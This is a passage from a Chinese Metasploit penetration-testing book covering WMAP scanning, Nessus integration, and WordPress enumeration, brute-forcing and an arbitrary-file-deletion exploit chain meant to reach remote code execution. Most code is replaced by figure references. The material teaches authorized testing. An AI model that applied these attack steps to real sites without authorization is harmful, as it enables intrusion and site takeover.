WMAP以特定顺序运行加载的模块，此顺序由一个数值型的值决定。默认情况下，第一个用来进行Web扫描的模块是http_version，它的OrderID为0（OrderID=0），而open_proxy模块的OrderID是1（OrderID=1）。这就意味着http_version模块将首先运行，然后是open_proxy模块。测试人员可以通过更改OrderID来改变模块执行的顺序： 1）模块执行顺序可以根据我们的需要进行更改。我们可以通过执行wmap_modules-l命令获得OrderID。 图6-28显示了上述命令的输出。 2）可以在Metasploit模块代码中设置OrderID。让我们看一下http_version模块的OrderID，如图6-29所示。 可以使用register_WMAP_options()方法调整WMAP模块的执行顺序。 3）让我们使用此方法来更改http_version模块的OrderID，如图6-30所示。 图 6-28 图 6-29 图 6-30 4）现在让我们重新加载模块，如图6-31所示。 图 6-31 5）重新加载完成后，我们可以使用wmap_modules -l命令列出模块，以查看更改后的模块执行顺序，如图6-32所示。 图 6-32 从图6-31中，我们可以看到OrderID已经被更改。现在我们已经了解了模块的执行顺序，在下一节中我们将为WMAP添加一个模块。 未知 6.5 为WMAP添加一个模块 WMAP允许我们添加自己的模块。可以是来自MSF的模块，也可以是我们重新开发的模块，下面我们将介绍一个SSL模块的例子。图6-33显示了WMAP当前正在使用的两个模块。 图 6-33 我们还可以添加另一个基于SSL的扫描模块（除了MSF中提供的SSL Labs模块）： 1）我们将使用ssllabs_scan模块，该模块通过Qualys提供的公共API使用Qualys SSL Labs的在线SSL扫描程序执行SSL扫描，如图6-34所示。 图 6-34 2）编辑该模块的源代码，以添加可以在扫描中使用的必要的库和方法，如图6-35所示。 3）在MetasploitModule类下面添加以下命令： 前面提到的WMAP库为WMAP SSL扫描程序模块提供了方法，在图6-36中可以看到，仅添加库是不够的，尝试运行模块将导致错误，如图6-37所示。 图 6-35 图 6-36 其原因是作为ssllabs_scan模块选项的HOSTNAME数据存储对象（datastore）没有被WMAP插件所使用。该插件仅定义了如图6-38所示的方法（请参阅metasploit-framework/lib/msf/core/auxiliary/wmapmodule.rb文件）。 图 6-37 在这种情况下，我们需要为WMAP找到一种方法，使ssllabs_scan模块可以识别HOSTNAME数据存储对象（datastore）。有多种解决方法，但我们将选择使用如图6-39所示的方法，因为这种方法对我们来说很方便。 图 6-38 4）我们把要使用的数据存储对象从datastore['HOSTNAME']更改为datastore['VHOST']，如图6-40所示。 图 6-39 图 6-40 用于保存来自HOSTNAME数据存储对象中数据的变量将用来保存来自VHOST数据存储对象中的数据。同时，WMAP将使用wmap_target_vhost()方法识别VHOST数据存储对象，如图6-41所示。 图 6-41 5）保存代码并返回Metasploit控制台，通过输入reload命令重新加载模块，如图6-42所示。 我们还可以使用以下命令重新加载WMAP模块： 图6-43显示了上述命令的输出。 图 6-42 图 6-43 6）让我们列出现有的模块，如图6-44所示。 你会发现模块已加载成功！ 图 6-44 表6-1所示是可以在任何模块中使用的mixin类型。 表 6-1 7）更新运行中的WMAP模块，如图6-45所示。 图 6-45 由模块发现的漏洞将被保存在数据库中，可以通过执行wmap_vulns -l命令来查看，如图6-46所示。 图 6-46 在下一节中，我们将探讨WMAP的分布式扫描功能。"},
    {"text": "未知 6.6 使用WMAP进行集群扫描 WMAP还可用于对目标进行分布式评估。此功能允许在不同服务器上运行的多个WMAP实例在主从模型下协同工作，如图6-47所示。 图 6-47 WMAP主站获取目标，并以作业的形式将其自动分发到各个从站。作业完成后，从站会向主站报告，从站的结果将存储在主站的数据库中。 1）添加一个要扫描的站点，如图6-48所示。 2）使用auxiliary/scanner/http/crawler模块在站点上执行爬虫程序；需要对选项进行相应设置，如图6-49所示。 图 6-48 图 6-49 3）运行爬虫程序收集表单和页面，如图6-50所示。 图 6-50 4）使用wmap_sites -l命令确认通过爬虫发现的页面/表单数量，如图6-51所示。 图 6-51 5）为分布式扫描配置WMAP节点，我们将使用msfrpcd -U <user> -P <password>命令在节点上运行msfrpcd，如图6-52所示。此命令将在后台启动RPC服务器，以使WMAP与Metasploit进行交互。 图 6-52 6）节点配置完成后，我们使用wmap_nodes命令来管理和使用这些节点，如图6-53所示。 图 6-53 7）我们使用以下命令将节点添加到WMAP： 图6-54显示了上述命令的输出： 8）节点连接完成后，我们可以使用wmap_nodes -l命令列出所有节点，如图6-55所示。 图 6-54 图 6-55 9）现在一切就绪，我们只需要定义扫描器的目标即可开始扫描。可以使用wmap_targets命令完成此操作，如图6-56所示。 图 6-56 在本例中，我们使用-d选项基于ID添加目标。可以使用wmap_sites -l命令来检索ID。当前设置的问题在于，节点上执行的所有模块都会将数据保存在该节点上。 10）如果要在节点上保存数据，则需要将节点连接到本地的MSF数据库。可以使用以下命令完成此操作： 图6-57显示了上述命令的输出。 图 6-57 11）使用wmap_run -e命令运行WMAP，如图6-58所示。 图 6-58 由WMAP加载的每个模块都将相应地在节点上分发和执行。 WMAP的每个节点最多只能有25个作业。这样做是为了防止节点负担过重。 12）我们可以通过输入wmap_nodes -l来查看已连接节点的列表，如图6-59所示。 图 6-59 13）我们也可以使用WMAP来仅运行一个模块。例如，如果我们要运行dir_scanner模块，则可以使用以下命令： 输出如图6-60所示。 图6-61显示了发现的目录。 14）正如我们在图6-61中所看到的，模块列出了找到的目录。要以树状结构查看输出，请使用以下命令： 图 6-60 图 6-61 图6-62显示了上述命令的输出。 15）要查看分配给节点的当前作业，可以使用以下命令： 图6-63显示了上述命令的输出。 16）可以使用以下命令删除节点： 这将从列表中删除节点1。 图 6-62 图 6-63 未知 6.7 小结 在本章中，我们学习了WMAP以及它的架构和扫描过程。接下来，我们学习了如何将来自不同工具（例如Burp Suite）的输出导入Metasploit，以及使用WMAP模块进行加载、配置和执行扫描的过程。在本章的最后，我们学习了如何在WMAP中使用集群扫描。 在下一章中，我们将介绍WordPress的渗透测试。 未知 6.8 问题 1.分布式扫描可以使用多少个WMAP实例？ 2.WMAP插件是否支持报告功能？ 3.是否可以在Metasploit中导入想要在WMAP中使用的其他服务器的日志和报告？ 4.我想根据我们组织的环境进一步定制WMAP，应该怎么做？ 5.WMAP支持每个节点有多少个作业？ 未知 6.9 拓展阅读 有关WMAP Web扫描器的更多信息，请参考链接https://www.offensive-security.com/metasploit-unleashed/wmap-webscanner/。 未知 第7章 使用Metasploit（Nessus）进行漏洞评估 在本章中，我们将介绍一些使用Nessus Bridge进行漏洞评估的方法。Nessus是Tenable公司收购的漏洞扫描器产品，被广泛用于网络安全评估。Nessus Bridge允许Metasploit解析Nessus的扫描结果并将其导入其自己的数据库中，以便进一步分析和利用。我们甚至可以使用Bridge从Metasploit中启动Nessus扫描。 本章涵盖以下内容： ·Nessus简介。 ·将Nessus与Metasploit结合使用。 ·基本命令。 ·修复Metasploit库。 ·通过Metasploit执行Nessus扫描。 ·使用Metasploit DB执行Nessus扫描。 ·在Metasploit数据库中导入Nessus扫描结果。 未知 7.1 技术条件要求 以下是学习本章内容的技术条件要求： ·Metasploit框架。 ·基于*nix的或微软Windows的操作系统。 ·Nessus Home或Professional版。 未知 7.2 Nessus简介 Nessus是Tenable公司开发的最常见且易于使用的漏洞扫描器之一，通常用于在网络上执行漏洞评估。Tenable Research已发布138 005个插件，涵盖53 957个CVE ID和30 392个Bugtraq ID。大量的Nessus脚本（NASL）帮助测试人员扩大发现漏洞的范围。Nessus的部分功能如下： ·漏洞扫描（网络、Web、云等）。 ·资产发现。 ·配置审核（MDM、网络等）。 ·目标分析。 ·恶意软件检测。 ·敏感数据发现。 ·补丁审核和管理。 ·策略合规审计。 可以从https://www.tenable.com/downloads/nessus下载Nessus。安装完成后，我们必须激活该工具。可以从https://www.tenable.com/products/nessus/activation-code获取激活码完成激活。"},
    {"text": "未知 7.2.1 将Nessus与Metasploit结合使用 Nessus之所以被许多渗透测试人员使用，是因为它可以与Metasploit一起使用。我们可以将Nessus与Metasploit集成在一起，以通过Metasploit本身执行扫描。在本节中，我们将按照以下步骤将Nessus与Metasploit集成： 1）在继续下一步之前，请确保已成功安装Nessus并可以从浏览器访问Nessus的Web界面，如图7-1所示。 图 7-1 2）我们首先必须使用msfconsole中的load nessus命令来加载Nessus插件。这将为Metasploit加载Nessus Bridge，如图7-2所示。 图 7-2 3）可以在msfconsole中执行nessus_help查看插件提供的命令，如图7-3所示。 图 7-3 在使用Nessus进行漏洞扫描之前，需要先对其进行身份验证，我们将在下一节中介绍。 未知 7.2.2 通过Metasploit进行Nessus身份验证 Metasploit使用Nessus RESTful API与Nessus核心引擎进行交互，只有在成功进行身份验证之后才能进行交互。可按如下步骤进行： 1）我们可以使用以下命令语法向Nessus进行身份验证： 图7-4显示了上述命令的输出。 我们使用用户名和密码登录Nessus Web界面。hostname可以是Nessus服务器的IP地址或DNS名称，而port是运行Nessus Web前端的RPC端口，默认情况下是TCP端口8834。 图 7-4 ssl_verify验证Nessus前端使用的SSL证书。默认情况下，服务器使用自签名证书，因此，用户应使用ssl_ignore。如果我们不想反复使用同一命令，则可以将凭证保存在配置文件中，Metasploit可以将其用于Nessus身份验证。 2）可以通过执行nessus_save命令来保存凭证，这将以YAML文件格式保存凭证，如图7-5所示。 图 7-5 该YAML配置文件的内容如图7-6所示。 图 7-6 可以在msfconsole中执行nessus_logout命令注销登录，如图7-7所示。 图 7-7 现在，我们已经成功使用Nessus RESTful API进行了身份验证，接下来可以通过执行一些基本命令开始使用Nessus。 未知 7.3 基本命令 假设我们是一个组织的雇员，并且组织仅允许我们通过Metasploit终端访问Nessus的凭证。在这种情况下，最好运行一些基本命令来了解我们可以做什么和不能做什么。我们通过以下步骤了解这些命令： 1）我们在msfconsole中可以执行的第一个命令是nessus_server_properties。此命令将向我们提供有关扫描器的详细信息（类型、版本、UUID等）。根据扫描器的类型，我们可以设置扫描首选项，如图7-8所示。 图 7-8 2）nessus_server_status命令用于确认扫描器是否准备就绪。在组织使用基于云的Nessus和分布式扫描代理（scanner agent）的情况下会很有帮助。命令的输出如图7-9所示。 3）nessus_admin命令用于检查通过身份验证的用户是否为管理员，如图7-10所示。 图 7-9 图 7-10 4）nessus_folder_list命令用于查看Nessus中可供我们使用的目录。运行该命令的输出如图7-11所示。 5）nessus_template_list命令用于列出Nessus中所有可用的模板（注意：我们可以使用-h选项来查看有关此命令的帮助）。Subscription Only为TRUE的模板都是可访问的。要使用所有模板，我们必须在线查找订阅。图7-12显示了上述命令的输出。 图 7-11 图 7-12 图7-12中的-h标志用于查看命令的帮助。 6）可以通过执行nessus_family_list命令查看Nessus中的类别列表。执行此命令后，我们将看到所有可用的类别（Family Names）及其各自的Family ID和插件数量，如图7-13所示。 图 7-13 7）我们可以使用nessus_plugin_list <family ID>命令列出一个Family中的所有插件。这些也是Nessus中可用的所有插件，如图7-14所示。 8）要详细了解有关插件的更多信息，我们可以在msfconsole中执行nessus_plugin_ details <plugin ID>命令，如图7-15所示。 图 7-14 图 7-15 9）我们可以使用nessus_policy_list命令列出所有可用的自定义策略。这将为我们提供用于执行漏洞扫描所需的策略UUID，这些策略将被用于执行自定义扫描。策略UUID可用于区分使用多个策略执行的不同扫描，如图7-16所示。 图 7-16 在开始扫描之前，我们首先需要修复Metasploit Gem，它负责与Nessus RESTful API通信（因为官方尚未发布补丁），以解决我们在运行扫描时可能会遇到的错误。这是@kost（https://github.com/kost）开发的解决方法。如果未打补丁，Metasploit将会报错，如图7-17所示。 图 7-17 我们将在下一小节介绍Metasploit库的修复。 修复Metasploit库 从Nessus 7.0版开始，状态更改请求（例如，创建/启动/暂停/停止/删除扫描）受新的身份验证机制保护。为了使Metasploit适配最新的用户身份验证机制，我们需要修复nessus_rest RubyGem。在RubyGems目录中搜索nessus_rest.rb文件，然后可以在第152行找到无法与Nessus的新身份验证机制交互的代码，如图7-18所示。 我们需要将第152行的代码替换为图7-19所示的代码。 可以在这里找到代码：https://github.com/kost/nessus_rest-ruby/pull/7/files。 接下来我们将执行一次Nessus扫描。 图 7-18 图 7-19"},
    {"text": "未知 7.4 通过Metasploit执行Nessus扫描 现在我们已经修复了Metasploit库，接下来让我们使用Metasploit执行Nessus扫描。 1）修复好gem之后，可以使用nessus_scan_new <UUID of Policy> <Scan name> <Description> <Targets>命令创建漏洞扫描任务，如图7-20所示。 图 7-20 2）创建任务后，我们可以通过执行nessus_scan_list命令进行确认。Sun ID将用于启动任务，因此我们需要记下它，如图7-21所示。 图 7-21 3）我们同样可以通过访问Nessus Web界面进行确认，如图7-22所示。 图 7-22 正如我们在图7-22中看到的，扫描任务已创建，但尚未启动。 4）我们通过执行nessus_scan_launch <scan ID>命令来启动扫描任务，如图7-23所示。 图 7-23 可以看到我们已经成功启动了扫描任务。 5）让我们在Nessus Web界面上确认一下，如图7-24所示。 图 7-24 6）在msfconsole中，通过执行nessus_scan_details<scan ID><category>命令，我们可以看到相同的细节，如图7-25所示。 图 7-25 可用于查看扫描详细信息的类别如下： ·信息（Information）： 常规扫描信息，包括扫描状态、扫描策略、扫描名称、扫描目标以及扫描开始和结束时间。 ·漏洞（vulnerabilities）： Nessus在给定目标上发现的漏洞列表，其中包括用于扫描目标的插件名称及其插件ID、插件Family（类别）以及在目标上找到的实例总数。 图7-26显示了漏洞命令的输出。 ·历史记录（history）： 这是同一个扫描任务的最后一次扫描记录。包括历史记录ID、扫描状态、创建日期和上次修改日期。 图7-27显示了history命令的输出。 图 7-26 图 7-27 7）我们从Nessus Web界面确认一下扫描的详细信息，如图7-28所示。 图 7-28 8）现在，让我们执行nessus_report_hosts<scan ID>命令以查看扫描的总体摘要，如图7-29所示。 图 7-29 9）要获取已识别漏洞的列表，我们可以执行nessus_report_vulns<scan ID>命令，如图7-30所示。 图 7-30 通过Metasploit使用Nessus有一个好处：可以使用Metasploit DB进行扫描。如果我们在Metasploit DB中存储了一个目标列表，并且希望对这些目标进行漏洞扫描，那么这将非常有用。 未知 7.4.1 使用Metasploit DB执行Nessus扫描 可以使用nessus_db_scan <policy ID> <scan name> <scan description>命令将存储在Metasploit DB中的所有目标传递给Nessus。在本例中，我们将目标IP192.168.2.1存储在了Metasploit DB中。执行此命令后，Nessus将开始对该目标IP进扫描（不仅要创建任务，还要启动它），如图7-31所示。 图 7-31 按以下步骤进行操作： 1）我们首先从Nessus Web界面确认之前的操作，如图7-32所示。 图 7-32 2）正如我们在图7-32中看到的，扫描已经启动并运行。在管理Metasploit工作区时，可以使用nessus_db_scan_workspace命令。在图7-33中，我们将目标IP存储在NESSUS-WEB工作区中。 图 7-33 3）让我们执行nessus_db_scan_workspace <policy ID> <scan name> <scan description> <workspace>命令以对存储在NESSUS-WEB工作区中的IP 192.168.2.1进行扫描，如图7-34所示。 图 7-34 正如我们在图7-34中看到的，我们已经成功创建了一个扫描任务，它将扫描存储在NESSUS-WEB工作区中的所有主机。 如果要执行nessus_db_scan_workspace命令，则必须手动启动扫描任务。 4）让我们使用nessus_scan_launch <scan ID>命令启动扫描。成功启动扫描任务后，我们将再次使用nessus_scan_details命令获取扫描状态，如图7-35所示。 图 7-35 从图7-35可以看出，扫描已完成。 扫描结果不会保存在工作区中，相反，我们可以手动导入结果，也可以使用nessus_db_import命令导入结果。请记住，某些功能仅在我们使用Nessus Manager时才可用。 现在，我们已经了解了如何使用Metasploit DB执行Nessus扫描，下一小节，我们将学习如何将Nessus扫描结果导入Metasploit DB。 未知 7.4.2 在Metasploit DB中导入Nessus扫描 当我们无法通过REST API将结果直接导入Metasploit DB时，可以使用以下方法： 1）首先，将Nessus结果导出到一个文件并下载该文件，然后使用db_import命令导入这个文件。 2）要导出结果，请使用nessus_scan_export <scan ID> <export format>命令（可选的导出格式为Nessus、HTML、PDF、CSV或DB）。在此过程中将分配一个文件ID。 3）导出就绪后，执行nessus_scan_report_download <scan ID> <file ID>命令，如图7-36所示。 正如我们在图7-36中看到的，我们已经将结果导出为Nessus格式并下载了该文件。 4）现在，使用db_import命令导入这个文件。 图 7-36 5）接下来，让我们执行vulns命令，以确认Nessus结果是否已成功导入Metasploit DB，如图7-37所示。 图 7-37 6）我们还可以通过执行hosts和services命令来确认上述方法是否有效，如图7-38所示。 图 7-38 如果使用得当，我们只需单击一下按钮即可相当有效地管理VA项目（当然，还包括用于管理项目和自动化的定制化Metasploit模块）。"},
    {"text": "未知 7.5 小结 在本章中，我们首先介绍了Nessus Bridge。然后，我们学习了有关配置Bridge的知识。接下来，我们学习了如何从Metasploit控制台启动Nessus扫描。最后，我们研究了如何将扫描结果导入Metasploit DB以进一步使用。 在下一章中，我们将从流行的WordPress开始学习如何对内容管理系统（Content Management System，CMS）进行渗透测试。 未知 7.6 问题 1.我是否需要在系统上安装Nessus才能通过Metasploit运行它？ 2.可以在Metasploit中使用其他漏洞扫描程序代替Nessus吗？ 3.Nessus Professional可以与Metasploit一起使用吗？ 4.我可以通过Metasploit使用Nessus扫描多少个系统？ 未知 7.7 拓展阅读 以下链接是关于Nessus的官方博客文章，解释了为什么以及如何将Nessus与Metasploit结合使用：https://www.tenable.com/blog/using-nessus-and-metasploit-together 未知 第三篇 渗透测试内容管理系统 内容管理系统（CMS），例如Drupal、WordPress、Magento和Joomla，都是非常受欢迎的，非常适合用来编辑Web应用的内容。然而，如果不定期维护和检查这些系统的安全性，它们也会非常容易受到黑客的攻击。本节将详细介绍如何针对CMS进行渗透测试，以及CMS中的一些常见漏洞。 本篇包括以下章节： ·第8章 渗透测试CMS——WordPress ·第9章 渗透测试CMS——Joomla ·第10章 渗透测试CMS——Drupal 未知 第8章 渗透测试CMS——WordPress CMS是一种用于管理和编辑数字内容的系统，它支持多个用户、作者和订阅者进行协作。互联网上有很多CMS在被广泛使用，例如WordPress、Joomla、PHPNuke和AEM（Adobe Experience Manager）。在本章中，我们将探讨一个著名的CMS——WordPress。我们将学习如何对这种CMS进行渗透测试。 本章涵盖以下主要内容： ·WordPress架构简介。 ·使用Metasploit对WordPress进行侦察和枚举。 ·对WordPress进行漏洞扫描。 ·对WordPress进行漏洞利用。 ·自定义Metasploit漏洞利用模块。 未知 8.1 技术条件要求 以下是学习本章内容所需满足的前提技术条件： ·Metasploit框架。 ·已安装WordPress CMS。 ·已配置数据库服务器（建议使用MySQL）。 ·Linux命令的基本知识。 未知 8.2 WordPress简介 WordPress是一种开源的CMS，前端使用PHP，后端使用MySQL。它主要用于博客系统，但也支持论坛、媒体库和在线商店。WordPress于2003年5月27日由其创始人Matt Mullenweg和Mike Little发布。它还包括一个插件架构和模板系统。WordPress插件架构允许用户扩展其网站或博客的特性和功能。截至2019年2月，WordPress.org共有54 402个免费插件和1500多个高级插件。WordPress用户只要遵循WordPress标准，就可以自由创建和开发自己的主题。 在研究WordPress枚举和漏洞利用之前，让我们先了解一下WordPress的架构。 未知 8.2.1 WordPress架构 WordPress架构可分为四个主要部分，如图8-1所示。 图 8-1 让我们看一下各个部分： ·Display（显示）： 包含用户可见的HTML、CSS和JavaScript文件。 ·Theme/Template（主题/模板）： 包括表单、主题文件、不同的WordPress页面，以及注释、页眉、页脚和错误页面等部分。 ·WP-Engine： 该引擎负责整个CMS的核心功能，例如RSS feeds、与数据库通信、设置、文件管理、媒体管理和缓存。 ·WP Backend： 包括数据库、PHPMailer定时任务和文件系统。 接下来我们研究一下WordPress的目录结构。 未知 8.2.2 文件/目录结构 通过浏览WordPress目录我们可以看到WordPress的文件/文件夹结构，如图8-2所示。 图 8-2 让我们快速浏览一下这些文件夹和文件。 根目录 根目录（base folder）包含三个文件夹，分别是wpadmin、wp-content和wp-includes，以及一堆PHP文件，其中包括一个最重要的文件wp-config.php。 根目录包含WordPress核心操作所需的所有其他PHP文件和类。 1.wp-includes wp-includes文件夹包含前端使用的所有其他PHP文件和类，以及Wordpress Core所需的类。 2.wp-admin 这个文件夹包含WordPress仪表板（Dashboard）的文件，这些文件用于执行所有管理任务，如撰写帖子、审核评论以及安装插件和主题。仅允许注册用户访问仪表板。 3.wp-content wp-content文件夹包含所有用户上传的数据，该文件夹有三个子文件夹： ·themes。 ·plugins。 ·uploads。 themes目录包含WordPress网站上安装的所有主题。默认情况下，WordPress带有两个主题：Twenty Twelve和Twenty Thirteen。 同样，plugins文件夹用于存储WordPress网站上安装的所有插件。自网站上线之后，我们上传的所有图像（和其他媒体文件）都将存储在uploads目录中，它们按天、月和年分类。 现在，我们已经对WordPress的架构和文件/目录结构有了基本的了解，让我们开始进行渗透测试。 未知 8.3 对WordPress进行侦察和枚举 在开始利用WordPress的任何plugin/theme/core漏洞之前，第一步是确认网站是否基于WordPress。有多种方法可以检测是否使用了WordPress CMS： ·在HTML页面源中搜索wp-content字符串。 ·查找/wp-trackback.php或/wp-linksopml.php文件名——如果使用了WordPress，则会返回XML。 ·你也可以尝试/wp-admin/admin-ajax.php和/wp-login.php。 ·查找静态文件，例如readme.html和/wpincludes/js/colorpicker.js。 确认站点运行在WordPress上之后，下一步就是确定目标服务器上正在运行的WordPress的版本。为此，你需要了解检测版本号的不同方法。之所以要检测版本号，是因为基于目标服务器上安装的WordPress版本，我们可以测试是否存在基于插件或WordPress-core的漏洞利用，这些漏洞利用可能是公开的，也可能是未公开的。"},
    {"text": "未知 8.3.1 版本检测 每个WordPress都附带一个版本号。尽管最新的WordPress默认隐藏版本号，但是我们仍然可以枚举版本号。在本节中，我们将学习一些识别正在运行的WordPress版本的方法。 最常见的侦察技术是Readme.html、元生成器（meta generator）、feed（RDF、Atom和RSS）、插件和主题（JS和CSS ver）以及散列匹配。 8.3.1.1 Readme.html 最简单的技巧是访问readme.html页面，这个页面会泄露版本号。这个文件的最初目的是向第一次使用CMS的用户提供有关如何继续安装和使用WordPress的信息。安装和设置完成后，应该将其删除。使用包括Metasploit在内的任何工具时，请在执行任何形式的漏洞利用之前检查WordPress的版本号。 请确保自己知道要测试的是哪个版本。图8-3展示了一个readme.html的例子。 图 8-3 8.3.1.2 元生成器 带有generator名称属性的meta标记通常被描述为用于生成文档/网页的软件。确切的版本号可以在meta标记的content属性中看到。基于WordPress的网站通常在其源中带有此标记，如图8-4所示。 图 8-4 接下来，我们将介绍如何通过JavaScript和CSS文件获取版本号。 8.3.1.3 通过JavaScript和CSS文件获取版本 另一种查找版本号的方法是查看以下文件的源代码。以下文件请求JS和CSS文件： ·wp-admin/install.php ·wp-admin/upgrade.php ·wp-login.php 它们在其ver参数中显示了确切的版本号，如图8-5所示。 图 8-5 接下来，你将看到如何通过feed获取版本。 8.3.1.4 通过feed获取版本 有时，版本信息也可能会从网站的feed中泄露。以下文件路径可能会泄露版本信息： ·/index.php/feed/ ·/index.php/feed/rss/ ·/index.php/feed/rss2/ ·/index.php/comments/feed/ ·/index.php/feed/rdf/（本地下载文件） ·/index.php/feed/atom/ ·/?feed=atom ·/?feed=rss ·/?feed=rss2 ·/?feed=rdf 图8-6显示了通过feed披露的版本号。 图 8-6 8.3.1.5 使用大纲处理标记语言 大纲处理标记语言（Outline Processor Markup Language，OPML）是一种用于大纲（定义为树形结构，其中每个节点包含一组带字符串值的命名属性）的XML格式。以下文件允许WordPress从其他网站导入链接，只要它们是OPML格式即可，但是访问此文件也会泄露版本信息（位于HTML注释标记之间）： 如图8-7所示。 接下来，我们将介绍高级指纹识别。 8.3.1.6 独特/高级指纹识别 独特/高级指纹识别是对WordPress进行指纹识别，以找出其确切版本的另一种方法。顾名思义，该技术非常独特。通过计算静态文件的哈希值并将它们与不同版本的WordPress中的相同静态文件的哈希值进行比较来完成。可以通过执行图8-8所示的命令进行操作。 图 8-7 图 8-8 要比较哈希值，请参考https://github.com/philipjohn/exploit-scanner-hashes上的GitHub存储库。 未知 8.3.2 使用Metasploit进行WordPress侦察 Metasploit有一个用于获取WordPress版本号的扫描模块wordpress_scanner。 让我们为该模块设置选项，如图8-9所示。 图 8-9 一切就绪后，就可以运行这个模块了，如图8-10所示。 图 8-10 这是一个非常简单的扫描程序，它尝试使用前面提到的技术来查找版本号。 现在我们有了版本号，就可以参考接下来要介绍的案例，了解如何枚举和利用WordPress漏洞。我们会对给出的漏洞进行详细解释。 未知 8.3.3 使用Metasploit进行WordPress枚举 以下是我们可以集中时间进行枚举的攻击面： ·用户名（Username）。 ·主题（Theme）。 ·插件（Plugin）。 请按以下步骤使用Metasploit模块auxiliary/scanner/http/wordpress_login_enum： 1）我们可以尝试对用户名进行暴力猜测，也可以枚举用户名，如图8-11所示。 图 8-11 2）让我们把选项仅设置为枚举用户名并运行模块，如图8-12所示。 图 8-12 3）现在，可以尝试使用字典进行暴力破解。该模块的默认选项使其能够执行暴力破解攻击，如图8-13所示。 图 8-13 4）现在我们来设置选项，我们已经设置了从之前的枚举方法中找到的用户名，如图8-14所示。 5）对于密码字典，请使用set PASS_FILE <file>命令并运行模块，如图8-15所示。 图 8-14 图 8-15 在下一节中，我们将研究漏洞评估扫描。"},
    {"text": "未知 8.4 对WordPress进行漏洞评估 虽然Metasploit没有用于执行漏洞评估扫描的模块，但你可以自己编写一个Metasploit模块作为第三方漏洞评估扫描工具（如WPscan）的包装器。 我们已经编写了一个自定义的Metasploit模块，该模块在执行时将运行WPscan，解析输出并进行打印。尽管该模块只是一段粗糙的包装器代码，但是你可以根据需要对其进行进一步修改。以下是自定义Metasploit模块的示例代码： 1）我们将从添加所需的库开始，如下所示： 2）然后，我们添加Metasploit Auxiliary类： 3）定义模块的信息部分： 4）在这里，我们将为模块添加options部分，可以在其中添加需要测试的目标URL： 5）接下来，我们定义target_url方法，该方法将存储用户选项TARGET_URL： 6）我们还需要定义find_wpscan_path方法，该方法将在系统中查找wpscan文件： 7）接下来，我们添加辅助模块执行方法，运行并检查系统上是否安装了wpscan： 如果找到了wpscan，该模块将首先创建一个包含随机字符的临时文件： 8）以下是wpscan执行块，将使用用户选项创建一个wpscan进程： 执行完成后，模块将读取包含wpscan输出的临时文件： 9）现在，我们添加用来解析JSON输出的代码块： 在JSON输出中寻找interesting_findings数组，我们将使用此数组打印WordPress目标站点中发现的漏洞的详细信息： 10）通过在JSON输出中查找版本数组并对其进行解析，我们添加了用于检查WordPress版本的代码块： 解析wpscan发现的漏洞总数并进行打印（包括参考和CVE链接）： 11）添加代码块以使用wpscan检查已安装的主题： 添加使用wpscan枚举已安装插件的代码块： 12）然后，我们添加代码块来查找已安装插件中发现的漏洞，并根据CVE和参考URL（包括exploit-db URL）进行映射： 13）完成所有操作后，删除此模块创建的临时文件： 以下是WPscan辅助模块的完整代码： 运行我们刚刚创建的自定义模块的步骤如下： 1）将模块复制到<path_to_metasploit>/modules/auxiliary/scanner/wpscan.rb并启动Metasploit，如图8-16所示。 图 8-16 2）设置选项并运行模块，如图8-17所示。 这个模块还解析插件信息，如图8-18所示。 这个模块不会将信息保存在数据库中，因此你可以根据需要对其进行自定义设置。此模块的唯一目的是枚举插件、主题和WordPress版本并查找漏洞。在下一节中，我们将介绍漏洞利用。 图 8-17 图 8-18 未知 8.5 WordPress漏洞利用第1部分——WordPress任意文件删除 既然我们知道了如何识别WordPress的版本，那么让我们详细了解一些WordPress漏洞利用的方法。我们还将讨论漏洞利用过程的工作原理。 我们首先来看一下WordPress任意文件删除漏洞。此漏洞允许任何经过身份验证的用户从服务器删除文件，攻击者可以使用它执行命令。我们来看一下这个漏洞利用的工作原理以及如何执行命令。 图8-19显示了在本地主机上运行的基于WordPress的博客系统。 图 8-19 该漏洞实际上是一个二阶（second-order）文件删除，我们上传并编辑一个图像文件，然后将文件的路径放入元数据中。当图像文件被删除后，WordPress会调用unlink函数来自动删除包含指向我们文件路径的元数据。我们来看一下基本的漏洞流（vulnerability flow）。 未知 8.5.1 漏洞流和分析 我们将更深入地研究这个漏洞的根本成因（root cause）。查看wp-admin/post.php文件，如图8-20所示，我们能看到来自用户的未经处理的输入存储在$newmeta中。 图 8-20 在wp-includes/post.php文件中，相同的输入传递到wp_update_attachment_metadata()以作为序列化值meta_key存储在数据库中，如图8-21所示。 图 8-21 当用户点击删除媒体（delete media）按钮时，以下代码要求从数据库中输入内容，并将其存储在$thumbfile中。然后，调用unlink函数以删除指定的文件。缩略图链接（thumb link）元数据被删除，因为它包含指向wp-config的路径，如图8-22所示。 图 8-22 接下来，我们介绍如何使用Metasploit进行漏洞利用。"},
    {"text": "未知 8.5.2 使用Metasploit利用漏洞 Metasploit有一个内置的利用模块，可以删除服务器上的任意文件。我们将使用wp-config文件的示例，讨论如何利用此漏洞将Shell上传到服务器。 通过在msfconsole中运行以下命令来使用这个模块： auxiliary/scanner/http/wp_arbitrary_file_deletion 如图8-23所示，我们输入RHOST、WordPress的用户名和密码以及配置文件的路径。在进行漏洞利用之前，让我们看一看WordPress数据库wp_postmeta表中的当前条目，如图8-24所示。 图 8-23 图 8-24 到目前为止，wp-config.php文件还在服务器上，如图8-25所示。 图 8-25 执行模块后，Metasploit使用它对WordPress进行身份验证，然后将.gif文件上传到服务器，如图8-26所示。 图 8-26 通过查看wp_postmeta表的条目，我们再次看到附件依然存在，并且附件的元数据以序列化格式存储。元数据包含文件名、宽度、高度和EXIF标头等详细信息，如图8-27所示。 图 8-27 接下来，漏洞利用程序将尝试编辑附件，并将thumb参数设置为我们要删除的文件的路径，如图8-28所示。 这将生成一个代码为302的响应，我们会被重定向回帖子页面，如图8-29所示。 让我们看看在这个请求之后数据库是如何更新的。再次查看wp_postmeta表，我们将看到两个新的字符串已被添加到序列化的meta_value列中。这些值是一个thumb和配置文件的路径，如图8-30所示。 图 8-28 图 8-29 图 8-30 该漏洞利用的下一步是删除上传的附件，这将强制调用unlink()函数，从而导致配置文件被删除，如图8-31所示。 我们想到的下一个问题是：删除配置文件如何让我们在服务器上进行远程代码执行（Remote Code Execution，RCE）？ 一旦wp-config.php文件被删除，WordPress就会将站点重定向到setupconfig.php，即默认的安装启动页面，如图8-32所示。 图 8-31 图 8-32 我们的思路是在自己的服务器上创建一个数据库，然后用我们的数据库再次设置WordPress。 图8-33显示了在我们自己的服务器上创建MySQL数据库的SQL命令。WordPress需要访问该服务器，因此我们必须确保MySQL正在运行并允许远程登录。 图 8-33 